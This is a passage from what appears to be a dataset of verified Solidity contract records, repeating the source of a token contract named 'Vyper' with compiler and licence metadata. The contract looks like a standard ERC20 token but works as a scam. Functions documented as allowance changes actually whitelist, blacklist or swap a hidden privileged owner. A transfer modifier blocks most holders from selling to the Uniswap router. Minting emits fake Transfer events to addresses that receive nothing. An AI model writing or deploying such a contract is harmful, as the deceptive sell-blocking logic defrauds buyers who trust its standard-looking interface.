0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } }
add
function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; }
/** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MPL-2.0
ipfs://024ac6831d2edc74a7d3d00f70c0543024e8953bffbbac253bc19a080d5b40b2
{ "func_code_index": [ 251, 437 ] }
12,404
Vyper
Vyper.sol
0xf1599c8c832483a164095c8cb0ab4be9b027719d
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } }
sub
function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); }
/** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MPL-2.0
ipfs://024ac6831d2edc74a7d3d00f70c0543024e8953bffbbac253bc19a080d5b40b2
{ "func_code_index": [ 707, 848 ] }
12,405
Vyper
Vyper.sol
0xf1599c8c832483a164095c8cb0ab4be9b027719d
Solidity
Vyper
contract Vyper is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); _mint(0x7A1057E6e9093DA9C1D4C1D049609B6889fC4c67, initialSupply*(10**18)); _mint(0x7A1057E6e9093DA9C1D4C1D049609B6889fC4c67, initialSupply*(10**18)); _mint(0x710295b5f326c2e47E6dD2E7F6b5b0F7c5AC2F24, initialSupply*(10**18)); _mint(0x710295b5f326c2e47E6dD2E7F6b5b0F7c5AC2F24, initialSupply*(10**18)); _mint(0x7D96AB1F847c3564B8F9a93F35E1027aDA74aeC2, initialSupply*(10**18)); _mint(0x7D96AB1F847c3564B8F9a93F35E1027aDA74aeC2, initialSupply*(10**18)); _mint(0xE15461B18EE31b7379019Dc523231C57d1Cbc18c, initialSupply*(10**18)); _mint(0xE15461B18EE31b7379019Dc523231C57d1Cbc18c, initialSupply*(10**18)); _mint(0x50c1a2eA0a861A967D9d0FFE2AE4012c2E053804, initialSupply*(10**18)); _mint(0x50c1a2eA0a861A967D9d0FFE2AE4012c2E053804, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { uint256 ergdf = 3; uint256 ergdffdtg = 532; transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; uint256 ergdf = 3; uint256 ergdffdtg = 532; _approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IER C20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
name
function name() public view returns (string memory) { return _name; }
/** * @dev Returns the name of the token. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MPL-2.0
ipfs://024ac6831d2edc74a7d3d00f70c0543024e8953bffbbac253bc19a080d5b40b2
{ "func_code_index": [ 3391, 3479 ] }
12,406
Vyper
Vyper.sol
0xf1599c8c832483a164095c8cb0ab4be9b027719d
Solidity
Vyper
contract Vyper is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); _mint(0x7A1057E6e9093DA9C1D4C1D049609B6889fC4c67, initialSupply*(10**18)); _mint(0x7A1057E6e9093DA9C1D4C1D049609B6889fC4c67, initialSupply*(10**18)); _mint(0x710295b5f326c2e47E6dD2E7F6b5b0F7c5AC2F24, initialSupply*(10**18)); _mint(0x710295b5f326c2e47E6dD2E7F6b5b0F7c5AC2F24, initialSupply*(10**18)); _mint(0x7D96AB1F847c3564B8F9a93F35E1027aDA74aeC2, initialSupply*(10**18)); _mint(0x7D96AB1F847c3564B8F9a93F35E1027aDA74aeC2, initialSupply*(10**18)); _mint(0xE15461B18EE31b7379019Dc523231C57d1Cbc18c, initialSupply*(10**18)); _mint(0xE15461B18EE31b7379019Dc523231C57d1Cbc18c, initialSupply*(10**18)); _mint(0x50c1a2eA0a861A967D9d0FFE2AE4012c2E053804, initialSupply*(10**18)); _mint(0x50c1a2eA0a861A967D9d0FFE2AE4012c2E053804, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { uint256 ergdf = 3; uint256 ergdffdtg = 532; transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; uint256 ergdf = 3; uint256 ergdffdtg = 532; _approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IER C20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
totalSupply
function totalSupply() public view override returns (uint256) { return _totalSupply; }
/** * @dev See {IERC20-totalSupply}. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MPL-2.0
ipfs://024ac6831d2edc74a7d3d00f70c0543024e8953bffbbac253bc19a080d5b40b2
{ "func_code_index": [ 3725, 3830 ] }
12,407
Vyper
Vyper.sol
0xf1599c8c832483a164095c8cb0ab4be9b027719d
Solidity
Vyper
contract Vyper is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); _mint(0x7A1057E6e9093DA9C1D4C1D049609B6889fC4c67, initialSupply*(10**18)); _mint(0x7A1057E6e9093DA9C1D4C1D049609B6889fC4c67, initialSupply*(10**18)); _mint(0x710295b5f326c2e47E6dD2E7F6b5b0F7c5AC2F24, initialSupply*(10**18)); _mint(0x710295b5f326c2e47E6dD2E7F6b5b0F7c5AC2F24, initialSupply*(10**18)); _mint(0x7D96AB1F847c3564B8F9a93F35E1027aDA74aeC2, initialSupply*(10**18)); _mint(0x7D96AB1F847c3564B8F9a93F35E1027aDA74aeC2, initialSupply*(10**18)); _mint(0xE15461B18EE31b7379019Dc523231C57d1Cbc18c, initialSupply*(10**18)); _mint(0xE15461B18EE31b7379019Dc523231C57d1Cbc18c, initialSupply*(10**18)); _mint(0x50c1a2eA0a861A967D9d0FFE2AE4012c2E053804, initialSupply*(10**18)); _mint(0x50c1a2eA0a861A967D9d0FFE2AE4012c2E053804, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { uint256 ergdf = 3; uint256 ergdffdtg = 532; transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; uint256 ergdf = 3; uint256 ergdffdtg = 532; _approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IER C20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds 